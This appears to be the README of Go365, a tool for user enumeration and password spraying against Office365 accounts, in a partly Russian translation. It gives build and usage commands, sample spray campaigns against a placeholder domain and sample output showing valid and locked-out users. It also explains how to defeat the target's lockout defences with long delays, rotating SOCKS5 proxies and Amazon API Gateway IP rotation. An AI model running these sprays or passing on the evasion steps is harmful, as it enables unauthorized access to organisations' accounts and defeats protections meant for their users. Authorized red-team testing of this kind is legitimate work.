
Инструмент для атак на пользователей Office365
Пожалуйста, прочитайте весь этот README перед использованием Go365!
Go365 — это инструмент, предназначенный для перечисления пользователей* и атак по подбору паролей на организации, использующие Office365 (сейчас/скоро Microsoft365). Go365 использует уникальную конечную точку SOAP API на login.microsoftonline.com, которую большинство других инструментов не используют. При запросе с адресом электронной почты и паролем конечная точка отвечает кодом аутентификации и авторизации Azure AD. Затем этот код обрабатывается Go365, и результат выводится на экран или в выходной файл.
* Перечисление пользователей выполняется совместно с попыткой подбора пароля. Таким образом, нет специального флага или функции для выполнения только перечисления пользователей. Вместо этого проведите первую атаку подбора пароля, а затем проанализируйте результаты на предмет действительных пользователей.
Загрузите предварительно скомпилированный бинарный файл для вашей ОС ЗДЕСЬ.
Загрузите исходный код и скомпилируйте локально.
go build Go365.go
$ ./Go365
██████ ██████ ██████ ██████
██ ██ ██ ██
██ ███ ████ █████ ███████ ██████
██ ██ ██ ██ ██ ██ ██ ██
██████ ████ ██████ ██████ ██████
Version: 2.0
Authors: paveway3, h0useh3ad, S4R1N, EatonChips
Usage:
-h Shows this stuff
Required - Endpoint:
-endpoint [rst or graph] Specify which endpoint to use
: (-endpoint rst) *Classic Go365!* login.microsoftonline.com/rst2.srf. SOAP XML request with XML response
: (-endpoint graph) login.microsoft.com/common/oauth2/token. HTTP POST request with JSON Response
Required - Usernames and Passwords:
-u <string> Single username to test
: Username with or without "@domain.com"
: Must also provide -d flag to specify the domain
: (-u [email protected])
-ul <file> Username list to use (overrides -u)
: File should contain one username per line
: Usernames can have "@domain.com"
: If no domain is specified, the -d domain is used
: (-ul ./usernamelist.txt)
-p <string> Password to attempt
: Enclose in single quotes if it contains special characters
: (-p password123) or (-p 'p@s$w0|2d')
-pl <file> Password list to use (overrides -p)
: File should contain one password per line
: -delay flag can be used to include a pause between each set of attempts
: (-pl ./passwordlist.txt)
-up <file> Userpass list to use (overrides all the above options)
: One username and password separated by a ":" per line
: Be careful of duplicate usernames!
: (-up ./userpasslist.txt)
Required/Optional - Domain:
-d <string> Domain to test
: Use this if the username or username list does not include "@targetcompany.com"
: (-d targetcompany.com)
Optional:
-w <int> Time to wait between attempts in seconds.
: Default: 1 second. 5 seconds recommended.
: (-w 10)
-delay <int> Delay (in seconds) between sprays when using a password list.
: Default: 60 minutes (3600 seconds) recommended.
: (-delay 7200)
-o <string> Output file to write to
: Will append if file exists, otherwise a file is created
: (-o ./Go365output.out)
-proxy <string> Single SOCKS5 proxy server to use
: IP address and Port separated by a ":"
: SOCKS5 proxy
: (-proxy 127.0.0.1:1080)
-proxyfile <string> A file with a list of SOCKS5 proxy servers to use
: IP address and Port separated by a ":" on each line
: Randomly selects a proxy server to use before each request
: (-proxyfile ./proxyfile.txt)
-url <string> Endpoint to send requests to
: Amazon API Gateway 'Invoke URL'
: Highly recommended that you use this option. Google it, or
: check this out: https://bigb0sss.github.io/posts/redteam-rotate-ip-aws-gateway/
: (-url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login)
-debug Debug mode.
: Print xml response
./Go365 -endpoint rst -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5
./Go365 -endpoint rst -up ./userpass_list.txt -delay 3600 -d pwnthisfakedomain.com -w 5 -o Go365output.txt
./Go365 -endpoint graph -u legituser -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxy 127.0.0.1:1080
./Go365 -endpoint rst -u legituser -pl ./pass_list.txt -delay 1800 -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login
You can even schedule out your entire password guessing campaign using the -pl and -delay flags :)
./Go365 -endpoint rst -ul ./user_list.txt -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login -proxyfile listofprox.txt -pl listofpasswords.txt -delay 7200
*Protip: If you get a lot of "Account locked out" responses, then you might wanna proxy or use an AWS Gateway.
совет: Вероятно, вы на самом деле не блокируете учетные записи.
После ряда запросов к целевому домену результаты могут начать сообщать, что учетные записи заблокированы.
Как только этот защитный механизм срабатывает, перечисление пользователей становится ненадежным, так как запросы для действительных и недействительных пользователей будут случайным образом сообщать, что их учетные записи заблокированы.
...
[-] User not found: [email protected]
[-] User not found: [email protected]
[-] Valid user, but invalid password: [email protected]
[!] Account Locked Out: [email protected]
[-] Valid user, but invalid password: [email protected]
[!] Account Locked Out: [email protected]
[!] Account Locked Out: [email protected]
[-] Valid user, but invalid password: [email protected]
[-] Valid user, but invalid password: [email protected]
[!] Account Locked Out: [email protected]
...
Это защитный механизм, срабатывающий в зависимости от количества действительных запросов пользователей к целевому домену за определенный период времени. Количество попыток и период времени будут варьироваться в зависимости от целевого домена, поскольку пороговые значения могут быть настроены целевой организацией.
Защитный механизм основан на времени и IP-адресе. Go365 предоставляет опции для включения времени ожидания между запросами и опции прокси для распределения источника запросов. Чтобы обойти защитные механизмы на вашем целевом домене, используйте длительное время ожидания и несколько прокси-серверов.
Рекомендуется время ожидания НЕ МЕНЕЕ 15 секунд. -w 15
Если вы все еще получаете ответы «учетная запись заблокирована», начните проксировать ваши запросы. Опции прокси были протестированы только на динамических прокси SSH SOCKS5 (ssh -D <port> user@proxyserver)
Создайте кучу SOCKS5 прокси на DO, AWS, Vultr или где угодно и создайте файл, который выглядит так:
127.0.0.1:8081
127.0.0.1:8082
127.0.0.1:8083
127.0.0.1:8084
127.0.0.1:8085
127.0.0.1:8086
...
Инструмент будет случайным образом перебирать предоставленные прокси-серверы и ожидать указанное количество времени между запросами.
-w 15 -proxyfile ./proxies.txt
Кроме того, может быть указан URL конечной точки, чтобы этот инструмент мог взаимодействовать с Amazon API Gateway. Настройте шлюз, чтобы он указывал на конечную точку https://login.microsoftonline.com/rst2.srf, затем установите параметр -url на предоставленный Invoke URL. Ваш IP-адрес должен ротироваться с каждым запросом.
-url https://justanexample.execute-api.us-east-2.amazonaws.com/login